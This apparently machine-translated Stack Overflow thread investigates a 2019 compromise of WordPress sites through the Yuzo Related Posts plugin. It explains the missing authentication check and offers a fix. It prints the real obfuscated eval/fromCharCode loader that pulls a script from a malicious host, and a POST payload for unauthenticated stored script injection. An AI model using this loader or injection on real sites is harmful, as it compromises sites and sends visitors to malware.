Vulnerabilidad en plugin cerrado Yuzo Publicaciones relacionadas [closed]

3 minutos de lectura

avatar de usuario
fealXX

Hace aproximadamente una hora, una página de WordPress que administro comenzó a redirigir a páginas de publicidad/malware.

Encontré la fuente de la redirección, quiero ayudar a otros afectados y necesito ayuda para encontrar la vulnerabilidad real y/o una solución.

La redirección ocurre después de que el sitio termina de cargarse, por lo que estaba buscando un fragmento de JavaScript en la página y redirecciones dudosas en Network Analyzer. Los redireccionamientos maliciosos obvios fueron: hellofromhony.org, thebiggestfavoritemake.com, nnatrevaleur.tk y un sitio que intentaba arrebatarme mi ubicación actual (aunque no pude reproducirla más de una vez).

Pude rastrear las redirecciones hasta llegar desde https://hellofromhony.org/counter que se incrusta a través de un fragmento de código.

El fragmento se incrustó en wp_options en una entrada con la clave ‘yuzo_related_post_options’, más específicamente incrustado en la opción json ‘yuzo_related_post_css_and_style’ de option_value. Esa opción se repite sin desinfectar.

Esta opción es parte del complemento de publicaciones relacionadas de Yuzo, que se suspendió hace aproximadamente una semana:
https://wordpress.org/plugins/yuzo-related-post/

Al eliminar ese complemento, se detuvo la redirección de inmediato, no pude encontrar otros rastros de manipulación del sitio.

El fragmento que estaba en option_value:

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

Si bien la eliminación del complemento plantea una solución rápida, quiero profundizar más para asegurarme de que no haya acceso a la base de datos, el backend y el espacio web.

  • Mientras investigaba y escribía esta publicación, aparecieron dos hilos en el foro de wordpress.org: wordpress.org/support/plugin/yuzo-related-post

    – fealXX

    10 de abril de 2019 a las 10:44

  • Alguien también ha escrito sobre esto el 30 de marzo. pluginvulnerabilities.com/2019/03/30/…

    – Hang Guan

    10 de abril de 2019 a las 11:29

  • ¿Estoy en lo cierto al suponer que solo se pueden manipular las opciones de wp con respecto al complemento en sí? Estoy tratando de encontrar el alcance máximo de la vulnerabilidad.

    – Hendrick

    10 de abril de 2019 a las 12:53


  • @Hendrik sí, eso es correcto. WordPress prefija las opciones automáticamente con el identificador del complemento, por lo que con este simple ataque solo se pueden modificar las opciones propiedad del complemento.

    – fealXX

    10 de abril de 2019 a las 13:51

  • Lo sentimos, Stack Overflow no es adecuado para ayúdame a encontrar vulnerabilidades en este complemento aleatorio preguntas. Podemos responder preguntas específicas y enfocadas con un alcance limitado.

    – Martijn Pieters

    24 de abril de 2019 a las 16:29

avatar de usuario
fealXX

Creo que lo acabo de encontrar: El Publicaciones relacionadas El complemento no verifica la autenticación al guardar las opciones.

Así que publicar

yuzo_related_post_css_and_style=</style><script+language=javascript>alert('hacked');</script> 

a /wp-admin/options-general.php?page=yuzo-related-post tendrá éxito, incluso si no ha iniciado sesión.

El complemento está usando is_admin() para verificar la autenticación, pero eso es un “falso amigo” y solo verifica si la página a la que se accede está en el área de administración, no si un usuario está autenticado (ni autorizado). Ver el documentación de wordpress.

Una solución rápida para seguir usando el complemento es simplemente eliminar la opción de configuración colocando falso en la declaración if en /assets/functions/options.php línea 1155:

    function __construct(){

        global $if_utils;

        $this->utils = $if_utils;

        if(false/* is_admin() */)
            self::configuration_plugin();
        else
            self::parameters();

    }

Actualizar:

Hang Guan señaló una publicación de blog sobre este tema de la semana pasadaparece que ahora está “en la naturaleza”.

  • Dependiendo de su WP, los objetivos de explotación también /wp-admin/admin-post.php?page=yuzo-related-post

    – Stefan

    10 de abril de 2019 a las 13:53

¿Ha sido útil esta solución?